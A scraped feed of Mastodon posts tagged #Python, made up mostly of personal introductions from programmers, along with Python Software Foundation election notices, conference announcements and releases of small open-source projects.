Lightning talks are submitted by attendees during the #Python Language Summit at #PyConUS 2024. This year saw talks from @encukou, @davidhewitt, Emily Morehouse, @ambv, Pablo Galindo Salgado, and Yury Selivanov. See the summaries on our blog:
https://pyfound.blogspot.com/2024/06/python-language-summit-2024-lightning-talks.html
@feoh@oldbytes.space
OK so I'm staring at @ThePSF board of directors ballot and nominations page, and holy cow these all seem like sincerely amazing people in their own right:
https://www.python.org/nominations/elections/2024-python-software-foundation-board/nominees/
The #python community is just amazing y'all.
@python_discussions@mastodon.social
Trending Django projects in the past 30 days
https://django.wtf/trending/?trending=30
Discussions: https://discu.eu/q/https://django.wtf/trending/?trending=30
@bshaurette@social.linux.pizza
I've been here for a few weeks and am just finally getting around to a proper #introduction
I've been a software #developer for 20+ years, writing #python for at least 10 of that (I used to teach #youngcoders at #pycon)
Last year I switched over to #sre and I really like the work but still have a lot to learn
In my (very little) free time I try to make art - you can find me at https://www.instagram.com/b_shaurette_art/
I'm #prochoice, a queer #ally, I believe #blacklivesmatter ... also #fuckthepatriarchy
@mariatta@fosstodon.org
#introduction
I'm Mariatta, in Vancouver 🇨🇦
I work at Google as Senior Developer Relations Engineer, maintaining open source Python client libraries for Google Cloud.
As one of the #Python core developers, I care about documentation, workflow, bots, and contributor experience.
I'm the Chair of #PyConUS 2023-2024, Fellow member of @ThePSF and Community Service Award recipient.
My pets are a variety of tropical freshwater fish and some Amano shrimps.
I love food, traveling, and kdrama 👋
@mariatta@fosstodon.org
I know y'all are now binging on those #PyConUS 2023 keynotes and talk videos which are now released on YouTube, but your experience won't be the same unless you also watch the welcome message from your conference chair 😊 (https://youtu.be/eZwHvBsoPn4)
We shared our 20 years of @pycon flashback 🤩.
I get to introduce my #IceCreamSelfie tradition. 🍦🤳
I shared how PyCon has changed my life, and thus I wish for you to experience the magic of PyCon too ✨
@brainwane@social.coop
I'm Sumana Harihareswara, a woman in #NYC New York City. I have a consultancy https://changeset.nyc, Changeset Consulting and provide short-term project management services for #freesoftware #FLOSS #opensource projects. I'm writing a book on maintainership skills and have accidentally developed expertise in #Python packaging tools.
I'm married, a stand-up comedian & fanvidder, a frequent poster on #MetaFilter & #Dreamwidth, Indian-American. Just moved from mastodon.social!
@ThePSF@fosstodon.org
ATTN PSF Voting Members: The 2024 PSF Board election vote is now open until July 16th! If you affirmed your intention to vote in this year's election, you should have an email with voting instructions 🗳️ Learn more on our blog. #python
https://pyfound.blogspot.com/2024/07/the-2024-psf-board-election-is-open.html
@chrisjrn@social.coop
@glyph@mastodon.social · Reply to Glyph's post
While we are talking about talk videos though, the youtube channels of every #Python conference have *weirdly* low view counts. If you write Python code, you should probably be subscribed to https://youtube.com/@northbaypython and https://youtube.com/@pyconus and probably a dozen regionals I haven’t been to. The value in these talks is massive, and I know a lot of people can’t be at the events live. You should peruse the catalog on https://pyvideo.org and see which ones capture your interest.
@glyph@mastodon.social
You can now watch the talk on "The Perfect Python Project" that I gave on Saturday at North Bay Python on YouTube. Please share and enjoy. https://www.youtube.com/watch?v=kcfERM6fcgU
@EdS@mastodon.sdf.org
Here's my #introductions...
I'm into #retrocomputing and #retrocomputers, am a #6502 fan, but I like green spaces and days which not overcast, I like science and #sf - mostly #sfbooks and stories - #computerscience, aka #cs or #compsci, I like #brianeno for his music and his thoughtful writings and funny videos, I write just a little code in #python and #javascript and #assembly and generally spend a lot of time on the internet.
Isn't the world a lovely place but in a fine old state though?
@msh@coales.co
Since there has been a huge burst of new activity out there, and everyone has been doing #introductions I guess I should (re)do a hashtag-laden #introduction of my own.
I am a mid-century modern weirdo from #YYC aka #Calgary #Alberta #Canada that runs https://coales.co Hometown/Mastodon site out of the garage in his back yard (the servers are literally bolted to the ceiling in there...told you I was weird)
Like a lot of people here I am a computer nerd who codes a lot of #Python and tinker with #microcontrollers and #OpenHardware and uses #Linux mostly. Professionally I do #IndustrialAutomation #SCADA stuff.
That said I often (sometimes mostly) post random and sometimes weird stuff. Occasionally political but put it behind content warnings. I am generally #AntiAuthoritarian and I dunno maybe #mutualist if I had to label it.
Also like weird #WatchParties like #Monsterdon and #WeAreNameless, and cute fuzzy animals (not like THAT jeez) and #ShitPosting and I'm occasionally a necromancer of old #Memes
@GlenDownton@mastodon.au
Since I've just switched instances, it's time for a new #introduction #introductions #newhere
I am a #software #engineer in #Perth, mostly C/C++ (#CPlusPlus), #Python, learning #Rust and #Golang, dabbled in many others. Interested in image processing, #NLP, sports analytics, with a continuously growing list of side projects which may or may not ever get "finished".
When I'm not doing that I'm a #photographer who occasionally gets paid to shoot #sports events.
And while I have your attention, on a completely different note ...
Australia's Head of State should be an Australian, by birth or by choice.
Any Australian should be able to aspire to be our Head of State.
All Australians should have a say in who is our Head of State
@marcoshuerta@vmst.io
New instance, I must repost and re-pin my #Introduction!
My background is in astrophysics. I worked in science policy in DC for about a decade: for my professional society, as a congressional fellow, and then at the Department of Energy Office of Science.
I changed careers to #DataScience in 2019 and now work in the private sector.
I learned #Rstats first, but now work and do my side projects with #Python. See all my side #projects here:
@pyconau@mastodon.pycon.org.au
Have you ever wanted to know what happens behind-the-scenes at conferences like PyConAU? We're looking for volunteers to help out in November (After exam season!)
No prior experience required! It’s a fantastic opportunity to get to know the community, and learn something new!
Sign up at https://pycon.org.au/attend/volunteer
#PyConAU #PyConAU24 #PyCon #Python #Tech #Programming #Volunteer
@jeremy@mapstodon.space
It's #introduction time:
I'm a geographer working as a mapmaker and codewriter for the open science in archaeology. #QGIS, #Python & #Django are my favorite tools right now.
Beside geospatial and web, I've worked before as a performer & artist. I'm into #sailing & I've been #livingaboard during a couple of years. I'm fluent in French, English & Spanish, and playing music is my happy place!
I'm also the admin of mapstodon.space. Quite excited to see y'all around here!
@slothrop@chaos.social
An #introduction perhaps?
I’m this middle-aged dad from Germany. I have a wonderful partner, 4 kids and a cat.
I care about society and technology. A retired #FOSS activist, these days I work at a globocorp doing IT stuff for trains 🚄
My interests include baking #bread, #fermenting stuff, paddling a whitewater #kayak, n00bing around with #Python, #RaspberryPi and #arduino, and oh so many books.
There’s never enough time, and I haven’t been bored in more than a decade.
@ciaranmak@mastodon.ie
Hello all 👋
Am a self-employed #security consultant of 10+ years via https://securit.ie/
I regularly enjoy live sports/music (likely to post about), I code #Python & #Rust and am unafraid of low-level / reverse engineering, builder, breaker, cocktail shaker. Lefty af ☭. An aspiring cyberterrorist armchair general on main
🤘😜👍 #Introduction
@codeismycanvas@universeodon.com
#introduction - Hello Mastodon people, I'm an engineer and artist in #Albuquerque #NewMexico. I thought you might enjoy the #fractals and other algorithm-based artwork I make using custom #Python code.
I may also occasionally post about #opensource #linux #woodworking #piano and my #cat.
@jonny@neuromatch.social
Here's an ~ official ~ release announcement for #numpydantic
repo: https://github.com/p2p-ld/numpydantic
docs: https://numpydantic.readthedocs.io
Problems: @pydantic is great for modeling data!! but at the moment it doesn't support array data out of the box. Often array shape and dtype are as important as whether something is an array at all, but there isn't a good way to specify and validate that with the Python type system. Many data formats and standards couple their implementation very tightly with their schema, making them less flexible, less interoperable, and more difficult to maintain than they could be. The existing tools for parameterized array types like nptyping and jaxtyping tie their annotations to a specific array library, rather than allowing array specifications that can be abstract across implementations.
numpydantic
is a super small, few-dep, and well-tested package that provides generic array annotations for pydantic models. Specify an array along with its shape and dtype and then use that model with any array library you'd like! Extending support for new array libraries is just subclassing - no PRs or monkeypatching needed. The type has some magic under the hood that uses pydantic validators to give a uniform array interface to things that don't usually behave like arrays - pass a path to a video file, that's an array. pass a path to an HDF5 file and a nested array within it, that's an array. We take advantage of the rest of pydantic's features too, including generating rich JSON schema and smart array dumping.
This is a standalone part of my work with @linkml arrays and rearchitecting neurobio data formats like NWB to be dead simple to use and extend, integrating with the tools you already use and across the experimental process - specify your data in a simple yaml
format, and get back high quality data modeling code that is standards-compliant out of the box and can be used with arbitrary backends. One step towards the wild exuberance of FAIR data that is just as comfortable in the scattered scripts of real experimental work as it is in carefully curated archives and high performance computing clusters. Longer term I'm trying to abstract away data store implementations to bring content-addressed p2p data stores right into the python interpreter as simply as if something was born in local memory.
plenty of todos, but hope ya like it.
@rust_discussions@mastodon.social
@peterdrake@qoto.org
I couldn't find a good reference diagram of the relationships between #Python types, so a while ago I made one.
@akuchling@dmv.community
#Introduction: I do #Python and #SQL programming for a healthcare #startup in #WashingtonDC. Mostly I work remotely from my home in #BowieMD, out in the DC suburbs. Most posts will be about #books and #reading, #tabletop #BoardGames, some #tech and news, and the occasional glimpse of daily life.
@zozorest@bolha.us
Hello and welcome to my "bubble" inside Mastodon!
I'm Thiago Ozores a.k.a Zozo, and I'm Site Reliability Engineer
Some of my major interests are:
#Linux
#OpenSource
#DevOps
#SRE
#ChaosEngineering
#PlatformEngineering
#CloudComputing
#Python
#Golang
#Rust
#StarTrek
#MCU
#Documentaries
#SciFiBooks
#SciFiMovies
#SciFiSeries
#WorldHistory
#BrazilHistory
#RetroGaming
#RaspberryPi
@DopeGhoti@infosec.exchange
I suppose now that I've talked more than zero people in to joining me in testing the waters of Mastodon that it's high time for an #introduction post.
Hi, it me, @DopeGhoti. I'm an increasingly old fan of #SciFi, #DnD, #Linux, #OpenSource, #Space, #Science, and #Technology. I like playing both #Tabletop and #VIdeoGames with my friends and noodling around with #Python.
@nickzoic@aus.social
Re-doing my #introduction now since I'm trying to be here a bit more ...
G'day I'm Nick, from the NE suburbs of #Melbourne , Australia.
I work as an #opensource #developer (mostly #python) doing remote work for various clients, and I'm also interested in #retrocomputing or, as I like to call it, computers back when I was a kid.
I'm into #cycling (slowly) and working up to doing some #cycletouring miles around Victoria this summer, and eventually elsewhere in the world.
I'm into #music generally and I'm (also slowly) learning to play #ukulele and learning a bit of music theory along the way.
I'm also doing some set design & construction for a #musicaltheatre group my daughters & their friends all seem to be in!
I'll probably be posting about those things more than work, tbqh. Older stuff, mostly tech-related, is on my blog at https://nick.zoic.org/
@tlockney@fosstodon.org · Reply to Moved to tlockney@hachyderm.io's post
These days, my interests are pretty much all over the place, but of late I find myself paying attention to: #python, #rust, #wasm, #generativeart, #embeddedsystems, #systemstheory, #systemsthinking, and probably a couple dozen other things that I'll probably think of as soon as I hit publish on this. 😂
@NorthBayPython@social.northbaypython.org
We have 8 tickets left for the amount of food we've ordered. If you're thinking of coming to #NBPy, but have been leaving it to the last minute, try to get your order in tomorrow morning, so we might be able to order more food.
Please?
https://pretix.northbaypython.org/nbpy/nbpy-2024/ #Python #SFBA #PyCon #PyConUS
@chrisjrn@social.coop
I'm an Australian, living in glorious Petaluma, California with my partner, Robin.
I believe in deliberate community building, prefer collective ownership (that's why I'm on social.coop), and often prefer Open Source software.
I like #Python.
You may know me from conferences I've run: North Bay Python here in Petaluma, linux.conf.au in 2017, and PyCon AU 10ish years ago, or various talks at various PyCons.
I enjoy cooking, gardening, travel, and our cats: Pico & Astra.
@NorthBayPython@social.northbaypython.org
#NBPy is back, and we want to hear from you!
We're welcoming your talk proposals from _right now_ until April 12th. Have something to share about Python, or that people who like Python need to hear? We want to hear from you!
All the details, including key dates, policies, and proposal guidelines are at https://2024.northbaypython.org/speak
@ThePSF@fosstodon.org
We're excited to announce the nominees for the 2024 PSF Board Election 🤩🤩 make sure to check out everyone's nomination statements to learn more about this year's candidates! #python
https://pyfound.blogspot.com/2024/06/announcing-psf-board-candidates-for-2024.html
@willmcgugan@mastodon.social
Does anyone have any experience optimizing *shutdown* time in #Python?
Some complex app can take 1 or 2 seconds to shutdown. And that's after the very last statement in the code.
Can that delay be avoided? What actually is going on in that time?
@nedbat@hachyderm.io
Are you sure you know how #Python decorators work? This should be no problem! 😈 🤯 🤓
@SnoopJ@hachyderm.io
This is your periodic reminder that in #Python, the value of the expression `0xfor....real` is
15
```
$ python3 -c "print(0xfor....real)"
15
```
@thias@mastodon.social
Treasure Hunt – Braille Hints
So I prepared a treasure hunt for my older daughter, which involved some form of coded message. I found a braille table I could 3D-print, using a real system instead of some made-up code gave me the opportunity to explain how/why this was used in reality, you find braille codes in lifts, staircase handrails.
@leouieda@bertha.social
Satellite images of the on-going floods in #RioGrandeDoSul, Brazil. I wrote a post showing how to use #OpenData from #Landsat 8 and some #OpenSource #Python code to create RGB composites and an animation of before and during the floods:
https://www.leouieda.com/blog/rio-grande-do-sul-floods-2024.html
See the blog post for a gif flipping between the images from before and during the floods.
@M@nerdculture.de · Reply to Möph's post
Es geht weiter. Tatsache bin ich lange nicht zu was gekommen, aber heute hab ich paar Dinge geschafft.
+ Ein paar Auswertungen gefahren
+ Diagramme und Text
- #Spyder (meine #Python IDE) auf dem Arbeitsrechner gegrillt.
Was update ich den Scheiß auch. 🤦
Stand:
37 Seiten Inhalt
21 Abbildungen
3 Tabellen
96 Quellen (106 Zitate)
#MöphDiss
PS: Die neuste Grafik
@lr@ciberlandia.pt
3️⃣ razões para conhecer o http://pythonfluente.com:
0️⃣ sem “Hello World”: livro intermediário/avançado para dominar #Python 3.10+ e sua biblioteca padrão.
1️⃣ tradução PT-BR da 2ª edição de Fluent Python (O’Reilly 2022) ⭐️⭐️⭐️⭐️⭐️, publicado em 9 idiomas
2️⃣ 💯% grátis CC-BY-ND na Web, HTML: http://pythonfluente.com, fontes: #AsciiDoc & #Python: https://github.com/pythonfluente/pythonfluente2e
@cschrader@jawns.club
I’ve been here for a while, but I never actually did an #introduction post.
I live in #philadelphia, and work in #devops with a background in #sysadmin, #linux, #gis, #remotesensing, and #machinelearning. These days, I spend a lot of time with #python, #terraform, and #aws. I’m part of a nonprofit working to preserve safe greenspace in #Kensington.
@openandroidinstaller@fosstodon.org
🐣📱 This Easter, hatch something new with your device! 🐰✨ Dive into the beta release of #OpenAndroidInstaller v0.5.3-beta and give your phone a fresh start.
Now supporting a wider range of devices including #Xiaomi Mi A2, Redmi Note 10 Pro, and #Samsung Galaxy S5 mini. 🌼🔧
🚀 Experience the latest with #Python 3.11 and #Android Platform Tools 35.0.1. Available for #Linux, #MacOS, and #Windows! 🐣
https://github.com/openandroidinstaller-dev/openandroidinstaller/releases/tag/v0.5.3-beta
@ryanbanderson@fediscience.org
I'm excited to announce that my PyHAT software is once again publicly available!
https://code.usgs.gov/astrogeology/pyhat
If you work with spectra or multivariate regression and don't want to reinvent the wheel, check it out. If it doesn't do what you need it to do, let me know and we can add capabilities to make it work for you!
#python #spectroscopy #lpsc2024 #data #OpenSource #DataAnalysis #ML
@mbess@attreno.fr
Hello to all of you people of mastodon! 🤗
This is my #introduction
Here I will share stuff and links that I would like more people to know, I will also try to write some reflexions and though on my projects. I live in Normandy, France. My current topics of interests are various: #programming #bike #osm #climatechange #selfhosting #freeSoftware #linux #maps #openstreetmap #wikidata #rust #python
I speak french 🇫🇷 and english 🇬🇧 .
@d33pjs@infosec.exchange
"Quick" Question: If you would build a new #web #application, what would currently be "the best" development language and/or #framework (#webframework) for that?
"Best" as in reliable, #secure, easy to get personal and future proof?
Would it be #python with #django or #rubyonrails or #php #symfony or something completely different?
@villares@pynews.com.br
EN: If you like my work and would like to support me, check out the links below.
Liberapay page: https://en.liberapay.com/villares/
PayPal: https://www.paypal.com/donate/?hosted_button_id=5B4MZ78C9J724
Gumroad: https://gumroad.com/villares
I'm also available for #CreativeCoding & introductory #Python private classes and workshops.
PT: Se puder me apoiar, use os links acima. Estou tdisponível para aulas e oficinas de #ProgramaçãoCriativa e ensino introdutório de programação com Python!
@ambimist@toot.io · Reply to Ambimist's post
My most recent employment was mostly using #ClojureScript and #TypeScript with #React, but I've also a lot of experience with #Python on the back-end. That said, the goal is usually more important to me than specific languages or technologies, since they can be learnt.
I'm a #FOSS advocate and sometime contributor, and a full-time #linux user.
I'm not a #FreeSoftware copyright lawyer, but I play one on the Internet.
I'm also into #indiegamedev as a creative outlet!
@cark@social.tchncs.de
Recently, I submitted the first big paper on our #Python based approach for #FormalKnowledgeRepresentation.
If accepted, it will be #OpenAccess
The preprint is OA anyway:
https://www.preprints.org/manuscript/202401.0060/v1
The approach allows to model the content of mathematical theorems (such as Pythagoras) as nodes and edges in a #knowledgegraph
This is done via *qualifiers* – a concept borrowed from #Wikidata
@danzin@mastodon.social
Hi, I'm Daniel but you can call me danzin.
I have a wonderful son.
I'm a biologist and a public employee.
I'm a leftist and support human rights, social justice and LGBTQIA+.
Programming is a hobby and a way to improve my mental health. I love #Python. In a past life, I helped a lot triaging bugs at bugs.python.org.
I'm autistic and I fight against depression and anxiety.
A long time ago I thought I'd be a photographer. I want to get back into photography.
@danzin@mastodon.social
Olá, sou o Daniel mas pode me chamar de danzin.
Tenho um filho maravilhoso.
Sou biólogo e empregado público.
Sou de esquerda, apoio direitos humanos, justiça social e LGBTQIA+.
Programar é um hobby e uma forma de manter minha saúde mental. Adoro #Python. Em uma vida passada, ajudei bastante a fazer triagem dos bugs em https://bugs.python.org.
Sou autista e luto contra depressão e ansiedade.
Há muito tempo, achei que ia ser um fotógrafo. Quero voltar a fotografar.
@archipylago@mementomori.social
Hello all!
We are a non-profit #Python community in #Turku, Finland. We bring together developers to meetups, sprints and social gatherings so we can learn from each other and have a jolly good time.
You can find us and our blog at https://archipylago.dev and sign up to our events at https://meetabit.com/communities/archipylago.
@ryuslash@goto.ryuslash.org
I guess I should have an #introduction on here as well:
I'm a programmer and #FreeSoftware enthusiast. I've been using #Linux as my main desktop and #Emacs as my... everything... since 2008. I started off with a lot of distro hopping, my journey took me through #Ubuntu, #Fedora, #Zenwalk, #Gentoo, and #Exherbo before settling on #ArchLinux, now with #Guix on top.
I love writing software in #Lisp (either #CommonLisp or #Scheme or any other), but I don't get enough of a chance to. Except #EmacsLisp, basically all my personal projects end up being written in that. Other than that I've enjoyed writing things in #CSharp, #PHP, #Python, #JavaScript, #Ruby, #Groovy, and several other languages.
My main account is @ryuslash, this is my account for experimenting with self-hosting.
@DigitalKrampus@geekdom.social
Messing around with programmatic graphics to display on a 1.8" TFT display connected to my Pi Cluster. The is not a whole lot of pixel real estate to display much, but I think I've got the basics down.
Pink - current CPU temperature
Orange - CPU utilization graph (span is about 30 minutes)
Blue - Memory utilization graph (span is about 30 minutes)
Each node runs a python script from a cronjob. The master node uses ansible to fetch all the data JSON files.
@ale@social.manalejandro.com
He conseguido arrancar la imagen oficial docker de #python en la pestaña de un navegador. Un pin 🤌
@kytta@fosstodon.org
Time to update my #introduction!
Hi Fediverse, I am Nikita
I am a 24-year-old full-stack web developer from Braunschweig 🇩🇪
Things I like: F(L)OSS (duh), #Python, #Django, #TypeScript, the Fediverse, #YouTube, and U+1E9E Latin Capital Letter Sharp S (ẞ)
Things I dislike: How everything BigTech touches tends to get worse. Also fermented milk products (unless it's cheese)
I blog (rarely) at https://www.kytta.dev, and I code (less rarely) at https://github.com/kytta
@qaqelol@toots.niark.nexus
#Introduction
Heya !
I’m Christophe, a #2D #3D #techartist.
My posts are either:
- cool stuff I learn
- simplified concepts
- tricks for 2D/3D
- sometime my art/code
I try to help anyone curious about #art and/or #tech with what I learn
✨ Moar about me ✨
- I speak French and English 🇨🇦
- I work in a non-profit research center
- I use #OpenSource tools most of the time
- I like #python
- I like #blender, #krita and #inkscape
- I like tiny birds and big dogs
- I like @adrian alot 🏳️🌈
@rtyler@hacky.town
@WindOfChange@mastodon.online
Hi, about time I do an #introduction post!
I'm not a migrating bird, haven't done much on social networks. I hope to find that warm "turn of the century Internet" feeling on mastodon.
I may post an occasional #photo or engage in some tech topics on #linux, #FOSS, #programming, #privacy, #scifi or #gamingonlinux.
Other interests include #hiking, #camping, #fishing and some #bushcraft stuff.
In my day job I solve problems related to #video #streaming with #golang, #python or #unix #shell.
@lr@ciberlandia.pt
🦎 O Livro do Calango na Web 🌎
#FluentPython, publicado em 9 idiomas, 4.8 ⭐ na Amazon, pode ser lido em PT-BR de graça, na Web, licença CC BY-NC-ND:
É a segunda edição (O'Reilly, 2022), atualizada para #Python 3.10 🐍
@liskin@genserver.social
@villares@ciberlandia.pt
Today I improved my #Python script to convert #png files in a folder to #gif, using a graphic interface with #PySimpleGUI (I have a CLI version too I have recently converted from #Pillow to #imageio) and during class I made a png to #mp4 version!
png -> mp4 (GUI) https://github.com/villares/sketch-a-day/blob/main/admin_scripts/pngs_to_mp4_gui.py
png -> gif (GUI)
https://github.com/villares/sketch-a-day/blob/main/admin_scripts/make-gif.py
png -> gif (CLI) https://github.com/villares/sketch-a-day/blob/main/admin_scripts/pngs_to_gif.py
@roguefoam@alpha.polymaths.social
Hello Polymaths.social! For those of you that don't yet know me, my name is Rogue. 👋🏻
I'm a university student in the US studying Electrical Engineering, with a specific interest in radio frequency studies.
My main hobbies that I love to talk about are #AmateurRadio, #DartBlaster Modifications, and #Film. I also write some code on the side as well, in #JS and #Python and hope to learn other languages in the future.
I'm constantly working on side projects so expect my Polymaths feed to be a load of non-sense but I'm happy to be here :)
#Introduction
@starsider@valenciapa.ws
Awesome surprise gift by @elfalsopastor@telegram of myself doing #blender scripting, for helping him with some Blender stuff.
@rpla@masto.es
Estoy jubilado, soy curioso y tengo un interés casi universal por la vida, la tecnología y el arte. Me gusta tener ideas, hacer cosas y aprender como funcionan las cosas.
En esta red social busco personas interesadas en los mismos temas que yo para poder intercambiar conocimiento, experiencias y charlar de esos temas.
Tengo un blog denominado "Lo Marraco" en:
Mis intereses son bastante diversos:
#urbansketching #estilograficas #caligrafia #python #encuadernacion #linux #legotechnic #video ...
Y algunos otros, más o menos relacionados:
#make #arduino #bujo #collage #lettering #scrapbooking #cometas #kap #fotografia #tic #3dprinting #estereofotografia #wordpress #blogging
@janeadams@vis.social
I finished my summer internship this week! I spent 4 months working with a team of biologists and statisticians at The Jackson Laboratory, building visualization software for their research needs. The lab I worked with focuses on analyzing genetics, the microbiome, and addiction-related traits. Here's an overview of some of the EDA tools I built for them in #Python ☺️ #genetics #biology #addiction #dataviz #computerscience #research #phd
If you're doing cool work with data vis + bio, lmk!
@kevinrenskers@hachyderm.io
Hi! I'm Kevin, a creative Dutch freelance developer with a passion for good design and intuitive, user friendly interfaces.
By day I use #Swift, #TypeScript, #Svelte, #SvelteKit, #Python, #Django and #HTMX to make apps for iOS and the web, and the APIs that drive them. At night I’m looking for the best burger in the world (recommendations always welcome!).
I've been building websites since 2000, and iOS apps since 2010.
Huge D&D nerd, building https://www.critical-notes.com in my free time.
@mari_the_bat@animexx.de
@feudjais@eldritch.cafe
C'est l'heure de l'#introduction !
Je viens de migrer sur eldritch.cafe. J'étais auparavant sur une autre instance mais pas assez active à mon goût. Je suis venu·e ici car j'apprécie la modération de eldritch.cafe, de ce que j'en connais et les valeurs défendues ici me plaisent ! En plus il y a tout plein de gens cool ici (dont mon incroyable future femme @Divine_lu) ! 😊
Je suis une personne non-binaire, développeur·euse (principalement en #Python). J'aime le logiciel libre et bidouiller. J'héberge d'ailleurs chez moi un serveur #XMPP et une instance Shaarli que vous pouvez retrouver ici : https://links.plaws.fr/. J'y partage des liens liés à l'actualité qui me semblent importants et qui pourront former un corpus quand on cherchera un sujet en particulier.
Sinon je joue un peu aux #échecs, si vous voulez faire une partie un jour, n'hésitez pas à me DM.
Je joue également à #LoL et d'autres jeux vidéo.
Voilà et il y a tout plein d'autres choses que j'aime dans la vie mais l'idée c'était de faire une petite intro pas une liste exhaustive.
Au plaisir d'échanger avec vous !
@oshistory@fedihum.org
#Introduction Trained as a historian at the university of #Trier I started programming during my exchange year in Bordeaux, France. After my graduation I worked at the University of Trier and specialized in Historical GIS #hisgis #hgis. Currently I am working in the field of #spatialhumanities and #digitalhumanities at the Hessische Institut für Landesgeschichte in #Marburg, using Open Source Technologies (#Python, #QGIS, #Gdal, #GRASS, #OpenLayers, #Angular et. al.)
@snacktraces@hachyderm.io
Introduction - new server
#SoftwareDeveloper during the day to support my #STEM, #boardgame, and #music habits.
I talk a bunch about helping those new to programming and software dev.
No patience for folks being uncool to others that look or live different than they.
Spend a lot of time with #Python #CPlusPlus #SymphonicMetal #Blues #Classical #BrainyHumor #BoardGames
Always interested in meeting cool people. (he/him)
@graham_knapp@hachyderm.io
Why am I spending time on #Python Meetup organisation at the moment? What's my ulterior motive?
It's about community and feeling connected to other people. I'm not hiring, not looking for students, no hidden agenda.
@kroitus@river.group.lt
#introduction esu programuotojas, mėgstu #python, #linux . Dabar bandau prisijaukinti #unity3d
Mėgstu komiksus, ir viską, kas aplinkui.
Auginu autistišką sūnų, esu Autisto tėtis.
@z3z@mastodon.scot
I made a thing! Every Scottish castle that's on Wikipedia mapped.
I'm neither a coder nor a web developer so this was quite a challenging project for me, but I learned a lot and it was fun.
Just a warning, the map's not great on a mobile because some of the pop-ups are quite large.
@ExiledKing@mastodon.gamedev.place
I never wrote an #introduction or at least don't remember.
I'm Tim - a dedicated #gamer #streamer and #linux enthusiast. I dream of doing #gamedev but tend to lose focus and drive early on.
Things I will post about:
- #memes lots of them
- #gaming - my backlog makes dragons jealous
- #manga #anime #japan
- #cyberpunk
- #comics
- #books as I work through my backlog
- #security
- #python #programmer
- #archlinux #linux
*Probably not an actual King
@dancingmonkeys@retro.pizza
#Introduction (moving to a new server I guess I should do one of these)
Hi! I’m Jimmy!
I’m a software engineer (specialties: build systems and python) who enjoys 70’s 80’s and 90’s anime along with some Tokusatsu and American animation. I’m also a very busy dad so I don’t tend to talk much on social media so, 🤷.
Ping me with #python questions and I might be able to help sometime.
@tuturto@mastodon.art
time for an #introduction
I'm Tuula Aurora, a trans woman living in Finland and trying to figure out the world.
I tend to switch from hobby to hobby when it strikes my fancy.
I like coding and switch from language to language (#python, #hy, #haskell). Sometimes I try to wrap my head around #coq or #rust.
I also like #drawing and doodle silly things on the margins now and then.
Also, tell me about your cool project. I love hearing what people are creating.
@berlin_pyladies@mastodon.social
print("Hello world!")
Hi Mastodon friends, we have joined to hang out here with some of our members and hopefully meet some new ones! We are the Berlin chapter of PyLadies, hosting events at https://www.meetup.com/pyladies-berlin/
Discussing all things Python, diversity, inclusion, and tech 😎 🐍
@shred@oldbytes.space
I'm here for more than a year now, and I still owe you a proper #introduction.
Hi, I'm Richard! I started #programming computers when I was about 9 years old. My first computer was a ZX81 (figure out how old I am now). #OpenSource and software development has always been my passion. My favorite programming languages are #Java, #Python, and #MC68000 #Assembler. 😁
If you follow me, you'll mainly read a lot of #RetroComputer stuff, especially about refurbishing and programming #Amiga, #C64 and #Sinclair machines. I also like #DIY and #3Dprinting. My other, much too much neglected interests are #photography, #cooking and #Japan.
I live in Germany. I post in English and German, and try my best to tag the language of my posts correctly. (You can filter languages on Mastodon!)
Nice to meet you! 😀
@pekkavaa@mastodon.gamedev.place
Hello I'm Pekka and I do experiments in computer graphics, video art, and machine learning. I also read a lot. I mostly post about my hobby projects (or #books I'm reading).
At the moment I'm working on #homebrew #N64 stuff and making some mashups tracks. Occasionally also #demoscene coding with or without #shaders :)
@astifter@mastodon.astifter.com
I'm Andreas, I've been here for quite some time now, in order to stay #independent I run my own #instance.
I code and #architect #software for a living in #C or #Python (yes, those are more or less the extreme ends of the spectrum).
During the first Covid lockdowns here in #Austria I started learning to play the guitar. I have built 4 or 5 (lost count) and one is currently in the works, #lutherie is amazing. The current #guitar count in our household is 7.5.
@alrj@hostux.social
Long overdue #introduction post.
Hi, I'm Amand, welcome here !
I'm a #linux #sysadmin from #Belgium.
I love #retrocomputing and #homebrewcomputing mostly because it gets me to better understand how computers work.
Also #programming in #python, #C and #assembler
Currently trying to make a #riscv processor using discrete logic.
My other hobbies include #hiking, #woodworking and #woodturning, #gardening, #reading, and more.
I mostly post in English, sometimes in French.
@g3rv4@g3rv4.com
It's time for my #introduction post on the new server :)
I'm Gervasio, I'm a runner, an aspiring magician, a father and a software engineer.
I live in #Uruguay and I'm working at a small startup (you can see a beautiful "coming soon" page at sumble.com) and before this I worked at #StackOverflow twice.
I enjoy #csharp, but right now I'm working on #python. I'm after interesting problems more than interesting technologies :)
I came to mastodon multiple times, but this became my home in the end of 2022. I tried to build a community (discovered I don't have the skills to do so) and then settled on a single user instance.
One thing I noticed when I was spinning up my server was that I couldn't discover relevant content, so I built #FakeRelay (an API to import content into a Mastodon instance) and then #GetMoarFediverse (as an example to use FakeRelay).
If you're curious about those, I recommend you first check out #fedibuzz, as it's simpler to run. If you still want to use FakeRelay, hit me up and I can get you started.
@villares@ciberlandia.pt
I offer private lessons (online) in #CreativeCoding and #IntroductoryProgramming with #Python.
- Individual sessions & workshops for groups on Python & Creative coding themes;
- Licenses to use my artwork and I'm available for commissions of new work;
- Consulting on generative design projects (subject to time constraints).
@nanobot567@techhub.social
Apparently I should do an #introduction post, so here we are!
I’m nanobot567, a #programmer and #musician! I’m a massive #linux fan and a #retrocomputing enthusiast (even though I don’t own any). I make apps for the #playdate console, such as the music player “musik”, and I created a shell in #python called #AOSGUI.
In case you want to check out some of my stuff, I’m on #GitHub and #Spotify under the same handle (nanobot567). (Warning for my Spotify account, all of the songs on there are incredibly cringe XD)
I also have one other account on the Fediverse:
Kbin: nanobot567@kbin.social
Been having fun on Mastodon so far! Hoping to make some more friends here in the future :)
@kevin@brown-silva.social
I moved servers, so here's an #Introduction:
I'm a #Python / #Java #SoftwareEngineer by day, but after that I interact with a lot of #FOSS and other #OpenSource projects.
I maintain and own #Select2, the #JavaScript library that I joke is keeping #jQuery alive. I'm also a maintainer on #DjangoRestFramework and #Jinja2 but I'll admit I do less with them now that I don't use #Django for work.
I have a lot of #HomeAutomation projects that make heavy use of #HomeAssistant (#ESPHome, #ZigBee).
@bluszcz@pol.social
I have just released #python #openvpnhelpers - includes inliner to help embed certs and keys into the #openvpn #config #file #vpn #opensource #mit #license.
@scarlet@plush.city
Hello new instance neighbors (and imported followers)! I'm Scarlet, and I'm a fox. I'm an arctic fox, to be specific. We're cuddly, cute, and endangered (some populations at least), so please do what you can to save the environment.
